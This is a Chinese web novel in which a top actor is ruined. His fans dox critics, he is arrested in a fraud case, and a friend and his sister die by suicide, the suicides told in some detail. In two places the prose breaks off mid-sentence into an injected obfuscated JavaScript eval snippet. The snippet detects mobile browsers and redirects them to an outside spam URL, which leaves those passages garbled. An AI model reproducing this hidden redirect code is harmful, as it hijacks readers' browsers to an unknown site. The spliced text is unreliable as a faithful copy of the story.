《影帝重生到成名前》 1. 巨星的陨落 凌晨1点10分,华国最大的娱乐论坛,有业内人员实名发帖爆瓜: [只是个搬砖工:兄弟们起床吃瓜!超级大瓜!真top真顶流被抓了!马上判刑!会有官方通告!内娱流量圈即将重新洗牌!坐等微博瘫痪!] 明明是深夜,此帖一出,短短几分钟回帖超400楼。 [匿名:真top?不会是我想的那个人吧?] [匿名:除了czx,还有谁是“真”top?] [匿名:他?他可是众星摇钱树,后台那么硬,怎么可能轻易狗带?] [匿名:官方通告,看来是个法制瓜,票昌被抓了?] [匿名:他老瓢虫了] [匿名:深夜KTV外搂大胸辣妹,懂自懂,混论坛的还有人没看过图?] [匿名:楼上小心点,马上粉丝就进楼律师函警告] [楚楚可怜:楼上所有带缩写、指向性的言论已全部录屏+权证链,别以为匿名就可以造谣,论坛后台全部实名制,别为了黑明星就赌上自己的未来,留了案底可找不到好工作!] [匿名:来了来了,此楼不保!] [匿名:接塌房!] [匿名:他快死吧!我真受不了!一想到他就恶心想吐,浑身打颤睡不着] [匿名:楼上这么恨?找个医院挂个精神科吧] [匿名:鉴定楼上是粉丝,整个内娱谁没被他家踩过,混粉圈的还有人贱到帮他说话?] [匿名:czx凉了,忌日就是内娱春节吧哈哈哈] [是你的楚皇:嘴巴积点德,别以为匿名了我就查不出你们粉籍。皮痒,又欠日了?] [楚国太子妃:看来他们的湖笔蒸煮又想要矿泉水瓶了,耶!] [匿名:哪来的太妹!你们去泼啊,看我蒸煮报不报警把你们抓进去!] 喊话喊得硬气,但这层也没人敢往下排+1 [匿名:大家还是小心点吧,他家粉丝出了名的疯,线上开盒,开出来就线下快打] [匿名:真是一群神经病,CZX怎么养出这么多疯狗] [匿名:他家工作室不告黑,粉丝能不疯?他家私生也多,一车学生妹敢在高速上别停czx的车] 论坛吃瓜的都是追星族,谁都听过一两个楚州行粉丝的奇葩事迹。 每次 #楚州行粉丝# 上热搜,点开都是“火锅店打人”“撬锁摸进楚州行私宅,偷用浴缸”“线下辱骂明星某某”这类负面新闻。 [匿名:散了吧,顶流瓜什么时候爆过真顶流?] [匿名:又要卖货了?他每次商务出单链,职粉就来反炒黑料虐粉,论坛er别当工具人] 吃瓜的,没几个信这次爆料的“顶流”是楚州行。他太狡猾了,娱乐圈十多载的风风雨雨,一点也没吹到他。 他就像长在最顶端、碍眼的树,四季常青,终年不老。 [匿名:只有我觉得czx没那么容易倒吗?他前几年才被拍到请礼泉大师做法,我关注的面相博主都说他还要再红十年] [匿名:他已经红了十年!还要十年?!] [匿名:听说他请大师出马就花了一个小目标,啧,真有钱] [匿名:他身上九十几个代言,一年广告费轻轻松松几个亿,他片酬又是圈内出了名的高,前年大陆富豪榜排榜,他榜单第九,前面全是大企业家] [匿名:他上榜是因为祥太创投吧?港城上市,一天他身价就翻了十多倍] [匿名:上次查税怎么没把他爆出来?我就不信他依法纳税] [匿名:真希望这次塌的是他,那么多广告代言,随便换几个给我哥,我要笑疯] [匿名:别做梦了,凭他手里的代言、大制作本子,资本拼死了也会保他] [匿名:说到本子我就气,我哥为了一部戏减肌瘦了三十斤,最后剧被他给截胡了!] [匿名:人家不仅抢戏还轧戏呢] [匿名:英雄传这狗币剧组,号称十亿投资、精心筹备五年,遛狗一样遛遍内娱各路明星,最后特么的选了czx当大男主!] [匿名:这狗剧组面对实力派演员那叫一个硬气,逼人家签竞业协议,动不动就威胁小演员要封杀对方,结果czx档期撞了,竟默许了czx轧戏,跪舔流量的姿态low到爆] [匿名:谁让人家是顶流,又有金主捧,还是金融圈新贵呢,惹不起] ....... 吃瓜路人激烈地讨论。 突然,一群实名用户涌进帖子,直接炸塘般将整个帖炸散。 [是你的楚皇:@只是个搬运工(微笑)李准粉丝是吧?张志明,有胆子开帖造谣你楚爹,没时间删发言记录?(图片)这是你手机号码、身份证号、家庭住址?] [不好意思是楚帝太火了:辉腾娱乐的张志明,在网上约p找小姐的是你?有女朋友还瞎搞?瓢虫举报了!今天我就打爆你领导电话!] [楚楚可怜:造谣很爽啊,被扒出三次元就慌了?明天你家楼下见,看我扇不扇你两耳光] [楚国太子妃:李准是谁?是整容出道、改小年龄、脚踢伟人像、假唱被官方点名、夜店搂女热吻的湖笔爱豆?(图片)粉丝犯贱爆假瓜,我们帮你把黑料抖出圈] 帖子瞬间被顶到1200层,再有人点进帖子,直接显示[楼主申请删除],无法查看。 论坛风波平息,微博却又上了热搜。 深夜,无数营销号下饺子般齐齐搬运论坛的帖子。 配统一文案[瓜主爆男顶流被判刑!即将官方通告] 楚州行粉丝呼朋引伴,暴.力控评。 凌晨三点钟,粉丝在线人数已超五万人。 每一个搬运帖子的营销号下都被楚州行粉丝控得死死的,评论区充斥着对发帖人的谩骂、对新晋流量李准的诅咒。 李准是去年暑假爆出来的选秀爱豆断层top,粉丝并不少,但完全控不过楚州行粉丝,被打得抱头鼠窜。 围观者心惊肉跳,楚州行粉丝却习以为常。 作为顶流粉丝,她们已经习惯了粉圈的血雨腥风。 楚州行出道十一年,被黑粉造谣了无数次,她们早就熟练掌握这种粗暴的“辟谣”方式。 ——骂死所有黑楚州行的贱人们 凌晨4:10,距离爆料刚好三个小时,从不回应八卦爆料的楚州行个人工作室居然动了。 @楚州行个人工作室: 严正声明! 楚州行先生作为众星艺人,出道数年一直恪守职业道德、严守道德底线,爱岗敬业,热心公益,积极承担社会责任。 现网络有关楚州行先生“嫖.娼”“进橘子”等言论纯属造谣诽谤,部分网络用户肆意发散不实信息的行为造成公众对楚州行先生的误解,已构成名誉侵权的事实。 我司已委托律师协助,对上述侵权内容进行取证,我方将持续关注舆情,若诽.谤信息进一步传播,我方绝不姑息,追责到底。 这是楚州行工作室第一次出面回应负面新闻,一时间,无数粉丝奔走相告,狂欢—— [我会再爱你一次:工作室终于干活了!!给我告!告死他们!] [只做你的影迷:支持维权!保护好他!] [楚帝座下小青龙:早该告了!现在谁都敢来踩哥一脚,就是你们不作为、一直不告黑!] [楚国太子妃:李准粉丝造谣生事,李准粉丝牢底坐穿 @李准cool 滚出来约束粉丝!明天李准工作室不出来道歉,咱们就线下见!] 凌晨4:15,@楚州行czx 转发工作室微博。 十分钟内,众星娱乐旗下营销号全部转发楚州行最新微博,配统一文案“支持维权”。 #楚州行工作室辟谣# 登顶热搜榜榜首,爆了。 不等粉丝高兴多久。 凌晨4:31,@平安帝都发布蓝底白字通告: #59人涉嫌非法集资被逮捕# 经检察机关批准,对涉及“祥太创投”“立刻贷”案件,包括演员楚某某在内的59人分别以涉嫌集资诈骗罪、非法吸收公众存款罪逮捕。 警方通告发出来的那一刻,就有吃瓜群众发现 #楚州行工作室辟谣# 被下了热搜,而楚州行工作室、楚州行本人微博账号显示被禁言。 此时,论坛已炸开锅,关于楚州行的帖子铺满论坛首页。 [我没看错吧?非法集资?十年起步,最高无期!] [能通告出来,应该是抓了一段时间了,微博必不是楚州行本人操作,众星好大的胆子,为了稳住商务代言居然敢发律师函假辟谣!] [亿卿抑郁症跳楼,众星现在能拿得出手的艺人也就楚州行,众星就靠他撑着,楚州行倒了众星股价就完蛋了] [快去看!楚州行微博被炸了!哈哈哈哈这次真的死定了!] [抽奖|楚州行被判十年抽十人每人三千,被判十五年每人五千,死刑再抽一人送价值三十万的奔驰一辆!进楼,让我们祝福楚州行把牢底坐穿!坐烂!] 抽奖帖,3分钟被顶了五千楼,似乎全论坛的网友都进楼抽奖了。 论坛新帖以每秒钟刷新数十个的速度增长着,仅是吃瓜楚州行被捕,论坛app的商城下载量排名就上爬了五名。 楚州行,当之无愧的内娱顶流。无数人爱他爱得疯狂,当然也有无数人恨死他。 [楚州行那几个大粉疯了,在微博抱团喊冤] [id楚国太子妃正在表演割腕,笑死了,大家快去看] [是不是瓜帖发疯骂李准的?她全平台一个id?] [死了吗?] [谁在乎,她号都被炸了,他家大粉账号全被炸了!] [你们说楚州行什么时候被抓进去?一点风声都没漏] [特大金融案肯定要保密啊,祥太创投我是知道的,非法集资超五百亿了] [业内在隔壁帖爆料了,说他被抓半个月了] [礼泉大师有毒,找他做法的名流都翻车了!] [楚州行的代言走流程解约了!第一个解约是爽芋奶茶!] [《英雄传》剧组出来割席楚州行了!官宣加盟的顶流是李准!] [他算哪门子顶流?落井下石的捡漏哥] [卧槽,五分钟不到,他代言全部掉光了?光是赔解约费就要好几亿了吧?] [一鲸落万物生,内娱终于不再是一家独大!大家可以舔代言了!楚州行代言质量真不错!] ...... 半个月前。 也是一个深夜。 楚州行接到了圈内好友、同公司艺人兼合作伙伴亿卿的电话。 电话刚接通的那瞬,亿卿尖利的哭声就洪水般冲撞而来: “祥太创投完蛋了——” “警察在监视我!我感觉到了!他们想抓我——” “他骗了我——我的钱!他连我的珠宝手表都拿走了!他说要跟我结婚,都是骗人的!” 亿卿的话断断续续,只顾着宣泄情绪,楚州行被吵得耳鼓一跳一跳,他揉揉眉心,没开口打断对方的发泄,只是伸手一扯,澄澈的灯光便洒进卧室。 这是楚州行搬来这座千平豪宅后,第一次拉开窗帘。 巨大的落地窗下是繁忙的帝都,不远处的写字楼灯火通明,街上无数小车闪着灯川流不息,有赶末班公交的行人脚步匆忙,蚂蚁般涌动着。 楚州行居高临下,俯视着这座繁华的黄金之城。 电话那头,亿卿还在崩溃,她抽泣,痛苦地惨叫,她不愿意接受自己的溃败,更不愿意承认灰暗的未来。 “我不想坐牢——他们说牢里天不亮就要起来劳改!每顿都是水煮萝卜!我他妈最讨厌吃萝卜!” 楚州行临近窗户,透明洁净的玻璃倒映着他的轮廓。眸色清浅,眼尾狭长,没有表情,眼神却也勾着笑,显得含情脉脉。他的睫毛很长,垂下时整个人多了点平静柔美。 这是一张很漂亮的面孔,年过三十,眼神也清澈像一捧冰雪。 笑也像不笑。 楚州行靠着落地窗,额头抵着冰冷的玻璃,他有着薄薄、淡淡的嘴唇,身上的香水也淡淡,像一阵笼起来的白日梦,面对灭顶之灾,他的姿态也是淡淡的,不害怕也不期待,仿若在等待一个时机,在空气里彻底蒸发。 亿卿在等他的决定,她向来没耐心,楚州行冷漠的言行瞬间激怒她,厉声质问:“为什么不说话!” 楚州行声音很平静,即便音色穿透电流时削弱了几分,也非常动听悦耳,辨识度极高。 他说:“多吃萝卜清肠胃。一天就能赚二十亿,进去是早晚的事,我以为你早就有了觉悟。” “就二十亿!哪里多?!搞金融的哪个不赚盆满钵满?是他们拿着钱哭着求着要投资,爆雷也是他们活该,我凭什么要去坐牢?” “我才三十五!” “账面少了那么多钱......他为什么不带我一起跑......” 楚州行打开免提,亿卿时而昂扬时而低落的絮叨成了背景音,他平静将抽屉里的剧本取出来,一本本摘掉透明书标、回形针,又把碎纸机打开,一页页送进去碎。 剧本被翻得皱皱巴巴,每一页都用不同颜色的笔标记了备注,密密麻麻,一笔一划都是这些年里他努力的见证,楚州行看着机器吐出来的碎末,浓黑的眼睫垂着,举止之间有种漠然。 电话那头的亿卿停止抱怨,他们隔着手机,沉默地听着碎纸机运转的咔嚓声。 好一会儿,她问:“你在碎什么?” “剧本。” “哈?现在还管麻痹的剧本!我们都要坐牢了!” “保密剧本一旦流出去对整个项目都是毁灭性打击,这些片子还没上映。” 他一顿,补充:“我被逮捕,房子也会被查封拍卖,一般处理前户主物品都是第三方,人员混杂,还是碎掉放心。” 亿卿咆哮:“我们是主角,剧里剪都剪不掉!剧完蛋了!流不流出去有什么区别!” 楚州行“嗯”了声,却说:“按照合约,剧本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691004|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内容流出去,我们身上的赔偿会更多。1.2倍与1.5倍,差别挺大的。” “你还想出来还钱?赔偿——?”亿卿尖锐地嘲笑,“没有赔偿,他们不可能从一个死人身上要到赔偿!” 话音落,楚州行就听到“哐”一声巨响,接连数声,电话那头,亿卿气喘吁吁,一手将电话按在脸上,一手拎着锤子疯狂砸击落地窗。 她砸着就哈哈大笑,大骂楚州行:“我才不坐牢!死gay,我认识你多少年了?你什么货色我一清二楚!” “你想让我跟你一起坐牢?是想我活着给你顶罪!我未婚夫跑了,我就是现成的主犯,到时候你找律师把锅全甩给我,你美美判个几年出狱,我牢底坐穿!” 被骂,楚州行也不急,“我是祥太创投副总裁,经手表决过项目,我跑不了的。你不要冲动,活着才有希望。” “什么狗屁希望!上百亿我们怎么还?你教教我,我怎么还?!我刚才查过百度,我们这种巨额非法集资至少要判十年!” “十年!我还不如去死!” 亿卿喘着气,手指死死抠着手机,冰冷的手机屏被体温焐热,汗水潮湿得让她烦躁,她恍神了片刻,突然压低嗓音,不怀好意地劝:“不如——我们一起跳吧!” “没钱还活着是生不如死!让那群蠢货到阴间找我们讨债吧哈哈哈!活着能被我们骗钱,死了也是一群穷酸鬼,跪着舔我的脚。”亿卿越笑越癫狂,脖颈涨出青筋。 楚州行依旧平静,“我们应该尊重故事的结局。” 他们演过的所有电视剧结局都是坏人被绳之以法,他们不应该是例外。 猝不及防,却听电话那头更剧烈的一声响,伴随着哗啦的脆音,是玻璃碎掉的声音,亿卿吁着气,“楚州行,死到临头了你还装B,现在不跳,你以后一定会后悔!我先走一步——” “张默默还在等你。” 亿卿的笑声戛然而止,她一下子从狂躁中抽离,张着嘴大口呼吸,双眼通红。 她伸脚,想拼一把迈出去,从31楼一跃而下,可她低头看了眼下方,又哆哆嗦嗦往回缩,她恐高,她并没有想象的那么不怕死。 电话接通着,手机另一头的楚州行呼吸声很轻,像在跟她说话,也像自言自语,那张面孔此刻才流露出难以言述的痛苦,“敏嘉也在等我,可我不能现在就下去陪他。我这么年轻就死了,他会很难过的......” 楚州行说着,习惯性将手插进碎纸机里去捡碎成粉屑的剧本,齿轮触碰到楚州行的手指,碎纸机立即触发保护模式,一下停止了运转,机器“滴滴”惨叫,指示灯不停闪烁。 楚州行这才注意到发生了什么,他缩回手,愣怔一下,眼眸中有泪光流转,他强忍着闭上眼,好一会儿,才拍了拍机器,看到碎纸机恢复了工作,他动了动嘴唇,想说什么,又无话可说。 亿卿深呼吸,被楚州行一打岔,她的理智回笼,情绪也稳定下来,她想,或许应该发条微博,发一份遗书,张默默一定会看她的微博,至少可以间接跟她道个别。 她点开微博,又习惯性点开评论区。 她的粉丝很多,最前排的几个人她都眼熟,随手点开了一个粉丝的微博。 这粉丝是她的大粉,现在正带着其他粉丝辱骂她的老对手。 她的粉丝大肆嘲笑老对手偷税漏税,各种侮辱性词汇疯狂甩在屏幕上。 以前亿卿很喜欢看粉丝骂人,看到他们追着骂讨厌的人,她会大笑,觉得解压。 起了兴致,她甚至会给粉丝点个赞。 [法制咖还有粉丝?社会的蛀虫还敢冒头?见一次我打一次] [品慧补税补完了吗,想复出?敢试水我们就敢举报!] [不拍戏,她拿什么还债?用b啊——偷税被抓进去一次,扫/黄再被抓进去,那就是二进宫了耶] 亿卿瞳孔一缩,握着手机,手指不受控制地颤抖。 她关掉微博,看着脚下万丈深渊,想起被卷走的百亿巨款,心中的恐惧在消退。 比起死亡,那还是坐牢更可怕。 她受够了贫穷、无能为力的人生,鬼知道她付出多少努力才走到今天这个位置。 坐牢出来又能怎样?她没有学历、没有技能、注定被社会淘汰。 去做个卖*的劳改犯? 决不! 生命的最后,她想起来张默默,想起她还有份人身险的受益人是张默默。 久违的良心发现,以往的点点滴滴涌上心头,亿卿蹬着玻璃碎块,再次打开百度,搜索[自杀,保险公司会赔偿吗?] 得到肯定的回答,她对楚州行说最后的遗言:“坐完牢,你去看看她,你一定要去看她!” 没有犹豫,她跳了下去。 保持着通话。 握紧手机。 “你自己去——” 楚州行还想说什么,却听“咚”一声,震得他一抖。 是脑子摔出脑浆的声音,短暂急促的一声惨叫,亿卿无意识的呻/吟只持续了短短分钟,就彻底消失。 楚州行伸手想去拿手机,却始终不能结束通话。 窗外灯火辉煌,城市的深夜依旧繁华。 楚州行失去了娱乐圈唯一的朋友。 他的表情有一瞬间的空白,内心并无多余的情绪,走到这步,虽然出乎意料,却也不是不能接受。 楚州行清楚知道,亿卿跳楼后,警方会很快收网,很快就有人来。 留给他的时间不多了。 最后的时刻,楚州行没有伤感,他给自己剪了个头发,洗了个澡,又换了身干净衣服。 最后,他坐在椅子上,合拢手,安静地等待命运。 女警小章是楚州行的粉丝,她没想到第一次与楚州行线下见面会是如此情况。 他们带着管家推开门。 楚州行卧室面积很大,却只开了一盏夜灯。原木架子床是特别定制的,打造得格外高,最底部距离木制地板足有七十公分。 房间摆设很简单,床对面只摆了一张矮矮的竹茶几。 装饰少,又常年拉着窗帘,房间幽静冷清,室内气温比客厅低了几度。小章很难想象搅动娱乐圈风云、长盛不衰的当红巨星就住在这种的环境里,整个房间没有能够任何彰显他身份、价值的摆件。 最怪异,衣帽间里靠墙的一排衣柜,每扇柜门都被拉开,一件件衣袍整洁地陈列着。 当队长出示证件,要求楚州行配合时,陷在暗处的楚州行才转过身。 站起来。 男人年过三十,看起来依旧年轻英俊,昏暗的光线收敛了他的轮廓,他不似聚光灯下的艳丽夺目,但就有一种无形气场,使人心生怯意。 他的视线似有若无地掠过小章,只一瞬,小章就看清了他表情。 没有恐慌、恐惧,他甚至还保持着礼貌的微笑。 就好像每次粉丝见面会,他穿着得体整洁的衣服,清清爽爽地笑着。 “我会配合你们,警官。” 说着,他伸出双手,等待手铐落下。 2. 重生 出道的第三年,小有名气的楚州行接受了一个时尚杂志的专访。 按照杂志社的要求,楚州行需要对着镜头,向十年后的自己真情“告白”,录制一封送给十年后自己的“视频情书”。 那天,文字编辑让楚州行幻想一下十年后的自己: 取得哪些成就? 梦想实现了吗?老了吗?这些年开心吗?有什么遗憾? 十年后杂志方会重启视频,届时杂志方会再次邀请楚州行,让十年后的他与现在的自己“跨时空”对话,镜头会记录下这十年的变化。 包括楚州行在内的所有被访者都坚信,哪怕再过十年,他们依然笑傲娱乐圈,只会变得更好。 镜头下的楚州行年轻英俊。 唇薄形美,嘴角自然上扬,眉目间浮动着淡淡的傲气。他十指交叉,翘着腿,呈现思索姿态。 当十年后,他回忆起自己的前半生—— . 楚州行的前半生也没什么好说的。 ——当明星、坐牢、刑满释放回家乡种橙子。 两鬓斑白的楚州行回想起来,只有水一般平静。 偶尔他也会想起亿卿。 恨她吗?楚州行也不知道。 坐完牢,他替亿卿去看望了张默默。那个沉默寡言的女人在老家开了间花店,生意不好不坏。 凌晨四点,楚州行看到她蹲在婚车旁装裱鲜花,累得直不起腰。 她的店里只放亿卿的歌。凌晨的小镇湿漉漉的,空气都带着一股潮味,她好似浸在水中,小声哼唱着,一首《挚爱》循环了一遍遍。 亿卿就被她装在一个密封的陶瓷罐子里,摆放在柜台上,紧挨着招财猫。 楚州行跟张默默聊了会天,又无话可说。 亿卿还活着的时候张默默就不喜欢楚州行,她不喜欢楚州行的野心勃勃、笑里藏刀。 她跟楚州行聊天也只聊亿卿,活着的亿卿、死掉的亿卿。 她告诉楚州行,亿卿刚死,一堆乱七八糟的远亲就像苍蝇一样叮上来,想要瓜分她的遗产。他们扯皮推诿,没人肯不拿钱就帮亿卿操办丧事,他们找了很多律师、公证人,到处闹。 闹众星,开直播、骗粉丝,却把亿卿一直停在殡仪馆。 她想把亿卿带走,他们冷嘲热讽把她赶走,“你算什么东西!” 后来,楚州行被捕,亿卿也被清算,遗产根本不够赔偿款,那些远亲又一哄而散,张默默这才把亿卿烧成一把灰,装进罐子里带回家。 亿卿除了一具尸体没给张默默留下任何东西,她被搜索引擎骗了。自杀,保险公司一分都不会赔。 张默默还是很辛苦地活着。 不过,张默默很知足,至少亿卿就在身边,她一伸手就能摸到。 亿卿从小镇走出去,她发誓永不回那个落后封闭的家乡,最后,她留在另一个陌生的小镇。 楚州行挺羡慕亿卿的。 张默默告诉他,等她死了就跟亿卿埋在一个坟里,到时候两人永不分离。 永不分离。 楚州行想到了纪敏嘉,那个被他埋在帝都最贵私人墓地里的前男友。 曾经,楚州行拥有两块墓地。 那两块墓地风水很好,紧紧挨着。 当楚州行准备把纪敏嘉下葬时,私墓管理经理却告诉他,他买的墓地,只有直系亲属才有入葬资格。 他和纪敏嘉除了亲过、抱过,没有法律上的任何关系。 楚州行窥探记忆中的自己,仿佛在看一个完全陌生的人。过去的他年轻气盛,被白纸黑字的条款刺激得双目血红,他恨极了,死死盯着那个可怜的经理,一副要把对方生吞活剥的架势。 怒到极限的那句“你等着!”直至今日,还一遍遍响在耳膜处,时时刻刻提醒他,这世上有太多的有心无力。 记忆里的楚州行还是妥协了,将一个名额转赠给死去的“纪敏嘉”,让纪敏嘉以“陌生人”的身份沉睡着,等着他。 如今,楚州行再想起经理那张皱皱巴巴的哭脸,就只有感激。 属于楚州行的墓地被依法拍卖了,帝都有钱人太多了,很快它就找到了新买主,纪敏嘉有了新邻居。 楚州行心里酸得发胀,想哭,又庆幸。 幸好纪敏嘉的安息之地没挂在他名下,否则,楚州行不知道管理方会不会把纪敏嘉挖出来、丢掉。 那时他在坐牢,纪敏嘉又没有家人,就算把他丢掉,也不会有任何人在意。 他把纪敏嘉挖出来了一次,万万不能被挖第二次。 幸好,老天保佑。 顶级私墓配备最好的安保团队,作为“陌生人”的楚州行没资格进去拜祭。 六百万的坟墓对于现在的他是个天文数字,种橙子的这些年他也赚到了百万,只是这些钱很快就会被银行划走,用以偿还债务。 楚州行很清楚,这辈子,他都不可能再回到纪敏嘉身边。 想到这,楚州行右臂一阵连续的刺痛,他用力握紧拳,抵抗着习惯的痛苦。 他努力去想更好的事情。 ——妹妹埋在老家祖坟里,以后他也是要埋进去的。 作为兄长,他很失败。 他被捕的消息传出,大量路人、黑粉人/肉出他所有亲眷,其中就有他的亲妹妹,在KTV陪酒的楚遥。 各种污言秽语轰炸楚遥的手机,她的所有经历被扒出来,各种真的假的“片子”四处流传,各种“知情人”爆料,从“一晚两千块”到“一家都是卖的”...... 楚遥的电话被打爆,幸好,在第一条辱骂短信送达她手机时,楚遥就找了鞋带,将自己吊死在家里。 死前的三个小时,楚遥还给他发短信,说她会给他找靠谱的律师,让他不要害怕。 但她还是死了。 后来,楚州行的粉丝帮忙收敛楚遥的尸首。 粉丝委托律师给看守所里楚州行带去妹妹死讯。 粉丝告诉楚州行,楚遥吊得很矮,双腿拖在地上,其实只要她站起来就不会死了。 楚遥成功地克制求生的欲/望。 楚州行永远记得那一刻,好像身边的氧气被全部抽光,他在呼吸,眼睛却看不到任何东西,他眼睁睁看着面前的世界一点点变黑。 看守所里的楚州行沉默很久,低着头,没人看清他的表情,只听见他说:“死了,也好。” 楚遥,不用害怕了。 哥会来陪你的,咱们一家人在阴曹地府再团聚吧。 这些年,楚州行一直很努力地赚钱还债,无论纪敏嘉、楚遥还是亿卿在他的记忆里都变得模糊,他快想不起他们的模样了。 他记得纪敏嘉有一双很漂亮的眼睛,会崇拜地望着他,纪敏嘉的呼吸很温柔,喜欢贴在他肩膀上,小心地搂住他的腰。那时候他们很穷,每天很早就要出门,楚州行会给纪敏嘉戴头盔,他仰着脸,脉脉地看向他。 妹妹化妆喜欢鲜艳的口红,嘴巴涂得很夸张,多说她几句,她就会大喊大叫,“你不要管我!”她穿着高跟鞋,跑得很快,像一道藏在记忆里的血色幽魂,每次楚州行睡不着,她就会从记忆里闪现。 楚州行看不清她的样子,喊她,她头也不回。 亿卿临死前癫狂的邀请:“我们一起跳吧。”每个阴雨天,电闪雷鸣,她都要在楚州行的梦再跳一次。 监狱的十五年,楚州行倒是时常想念他们。 一想到纪敏嘉就觉得痛。 楚州行被捕后,他的律师建议他做出一番陈述,如同亿卿恶意揣测的那样,他可以把罪责推到亿卿头上,是亿卿以欺瞒手段鼓动他加入的。他并没有参与实际经营,运作得当确实可以少判几年。 可上了法庭,面对法官问责,他还是说:“我认罪。” 楚州行知道以后他一定会为今日冲动后悔,但此刻,他不想流眼泪也不想狡辩。 这么多媒体对着他狂拍,闪光灯轰炸,把神圣法庭都照得发白,楚州行只觉得眩晕,就好像他还站在舞台上。 亿卿已经死了!一个死人不会反驳他,可他为什么一定要把她拉出来鞭尸! 他胸中燃着一把火,越是痛苦就越要不在意。 明明妹妹上吊消息传来,他很想顺着网线把那些人.肉.侮.辱楚遥的人通通捅死! 可他还是保持了冷漠。 他要微笑,要干净整洁,他要笑着认罪,他不会让那群讨厌他的人兴奋,他要自己从表情到头发丝都无可挑剔,他要让那群看热闹的人失望! 媒体是鬣狗,盯着他的血/肉狂欢,他们围追堵截,围捕他,一遍遍戏耍、扯开他的伤口。 他们围观他流血,楚州行唯一能做的,就是维持最后的体面,做个演员演好大众视线下最后一幕戏。 法庭上,他努力伸直双手,带着镣铐,迎着刺眼的灯光,“我,认罪。” 监狱里的生活并没有亿卿想象得那么可怕。 他们这些金融罪犯关在一个特殊的监狱里,每日工作就是帮忙给政府、企业做账,也算不上辛苦。吃的也不错,每天三菜一汤,还有水果。 偶尔楚州行还会参加狱中的管弦乐队,逢年过节他们都会组织排练节目。 他在监狱里也交到了几个朋友,一个职务侵占罪被判十年的区域经理,一个贪污罪进来的国企副总。 他们时常会感慨:“楚老弟,你高中学历,没事学人家玩什么普惠金融?你什么都不懂啊!去试水不懂的行业,最后都是直接落网啊!” 也会酸溜溜地吐槽:“这社会真特么畸形,我寒窗苦读到博士,溜须拍马背黑锅,最后捞得还没你代言费多。” 沦落如此处境,能怪谁?怪亿卿为了谈判筹码拉他下水? 只能怪他太贪了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691005|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 狱中,没有接不完的剧、也没有录不完的节目,楚州行终于有时间读书了,狱警也鼓励他们多读书。 楚州行读了很多书,终于弄懂了什么是P2P,第一次直观感受到金钱涌动下的惊心动魄。 以前的他只管拿钱,他只知道祥太创投很赚钱,至于公司怎么运营?靠什么盈利?他一概不知。 弄清楚了一切,他又去主动了解“祥太案”的被害人们。 有被骗光全部养老金的老年夫妇,有借遍了亲戚钱搞“投资”的年轻人,更多是信任他去投资的粉丝们. “祥太案”被害人人数众多,还有更多的被害人法院无法送达、无法登记。 他引以为傲的、带给他尊严和新生的祥太创投,坑害了无数人。 楚州行变得沉默。 朋友们在狱中经常哭泣,他们接受不了身份落差,有时他们也会问楚州行:“楚老弟,你为什么不哭?” 从光鲜亮丽,坐拥无数粉丝,分分钟可以赚上百万的大明星到人人喊打、失去自由的阶下囚,他应该是痛苦的。 痛苦? 当然会痛苦。 刚被关的那半年,楚州行时常想起亿卿的邀请。 想到亿卿,他就会想到她涨红眼睛,扯着他的衣领疯狂嘶吼: “你再信我一次,我一定会带你发财!只要这次成功了,你就不用陪那群老东西喝酒了!” “你知道我名声不好听,他父母看不起我,我必须做出点成绩让他家人接纳我,错过他我再也找不到这样多金又有本事的男人了!我求求你,帮帮我!我们是朋友,你必须帮我!” “把钱投进来,只要一年,我们就是资本!” 亿卿许诺的豪言壮语、伸手问他要钱的姿态、一袭红裙主持祥太创投上市的敲钟仪式。 最终,所有的光鲜靓丽全部扭曲为乱糟糟的杂影。无数声音绕着楚州行,质问他: ——什么时候还钱? ——你把我辛辛苦苦存了一辈子的钱藏哪去了? ——把钱还给我! 楚州行控制不住地恐惧,恨她。 梦里,亿卿还敢质问楚州行:“你什么都没有了,为什么还不肯死?” 醒来,他告诉自己。 活着才有希望。 他还活着,那些被害人才有希望。 做错事的人,不能都跳了。 坐完牢出来再创业是很困难的事,银行不敢贷款,投资人也不敢预支货款。 大城市留不下来,楚州行回了家乡,当地乡政府接纳了他这个“罪人”,给他担保,帮他贷/款,他和他的祖祖辈辈一样,在家乡种起了橙子。 曾经他满怀希望,抱着摆脱贫穷改变家庭命运的决心来到帝都,他对自己说:我不要一辈子都在山上。 后来,楚州行告诉自己,不管遇到怎样的痛楚,遭受如何羞/辱,都要一直活下去,活到不能活了。 种橙子的七年,他有很多东西要重新学,他总是很忙,忙到忘记去回忆,只有右臂连绵的刺痛提醒着他,曾有一双眼睛温柔地注视他。 有一个人曾经属于他。 一个暴雨天,那个人跪在地上,乞求他不要离开。 轰隆。 打雷了。 听到雷声,哪怕是深夜,楚州行也能第一时间在黑暗中睁开眼。 他迅速披了件衣服,推开门,先去检查仓库大门有没有锁紧,秋雨凉透,仓库堆满了今年的收获,马虎不得。冒着雨,楚州行仔细检查仓库四周摄像头,这才放心回屋子。 他的住所是一间小屋,只有一张桌子、一张椅子、一张床、一个电水壶,一个写了大半的笔记本。 屋子阴湿,下雨天屋子里的家具都裹着水汽,楚州行没法继续睡。 站在窗子边,望着窗外大雨,隔着玻璃窗,楚州行手臂痛得宛若针扎,他侧身倚着墙,以此为支撑。 这些年楚州行睡得越来越晚,醒得越来越早。他不知道活着的意义,也感受不到任何活着的乐趣。 但他还活着,似乎还能活很久。 